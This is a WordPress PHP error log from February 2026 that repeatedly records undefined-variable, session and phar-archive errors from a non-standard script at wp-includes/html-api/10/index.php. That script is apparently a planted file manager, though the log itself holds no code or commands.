[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
